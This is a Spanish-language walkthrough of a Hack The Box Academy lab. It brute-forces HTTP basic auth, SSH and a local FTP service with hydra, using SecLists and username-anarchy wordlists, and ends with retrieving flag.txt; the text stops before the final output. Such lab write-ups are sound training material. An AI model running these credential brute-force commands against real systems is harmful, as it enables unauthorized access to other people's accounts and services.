Parte 1

Descarga de diccionarios

HTB nos manda dos diccionarios para usar. Los podemos descargar usando curl

bashcopiar
curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt
curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/2023-200_most_used_passwords.txt

Explotación

Cuando entramos a la IP:PORT dada por HTB nos lleva a un auth login sencillo, usamos hydra con el módulo http-get

bashcopiar
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt 154.57.164.77 http-get / -s 33183 -t 64

Donde -s es el puerto que nos da HTB y -t lo usamos para que vaya de forma más rápida.

Nos salen las credenciales

En el spoiler podemos ver como hemos conseguido entrar.

Parte 2

Identificación del servicio

Básicamente nos da otra dirección ip y puerto. Si hacemos un nmap estamos ante un ssh.

bashcopiar
1┌─[eu-academy-5]─[10.10.14.177]─[htb-ac-2334078@htb-4oit61rhs6]─[~]
2└──╼ [★]$ nmap -sV 154.57.164.77 -p 32690 -Pn 
3Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-06 10:43 EDT
4Nmap scan report for 154-57-164-77.static.isp.htb.systems (154.57.164.77)
5Host is up (0.0067s latency).
6
7PORT      STATE SERVICE VERSION
832690/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
9Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
10
11Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
13

Debemos hacer fuerza bruta a ssh usando el usuario conseguido anteriormente.

Explotación

bashcopiar
hydra -l spoiler -P passwords.txt 154.57.164.77 ssh -s 32690 -t 64 -f 

Nos dará la contraseña

Nos metemos por ssh

bashcopiar
ssh spoiler@154.57.164.77 -p 32690

Una vez dentro tenemos lo siguiente:

Como vemos parece que hay que usar la herramienta username-anarchy y el diccionario passwords. Además nos dice que hay un usuario que ha tenido problemas con el ftp (Thomas Smith). No solo eso sino que tenemos hydra en la máquina a la que estamos conectados por ssh.

Para crear el diccionarios con username anarchy es extremadamente sencillo.

bashcopiar
./username-anarchy Thomas Smith > thomas.txt

Con eso ya tendremos el diccionario y procedemos a usar hydra al servicio ftp de localhost. Para comprobar que está abierto simplemente con netstat -tulnp podemos verificarlo.

bashcopiar
hydra -L thomas.txt -P passwords.txt ftp 127.0.0.1 -t 64 -f

Una vez tengamos las credenciales ejecutamos estos comandos para sacar la flag

bashcopiar
1ftp localhost
2(Introducimos usuario y contraseña)
3ls
4get flag.txt
5bye
6cat flag.txt

Obteniendo así: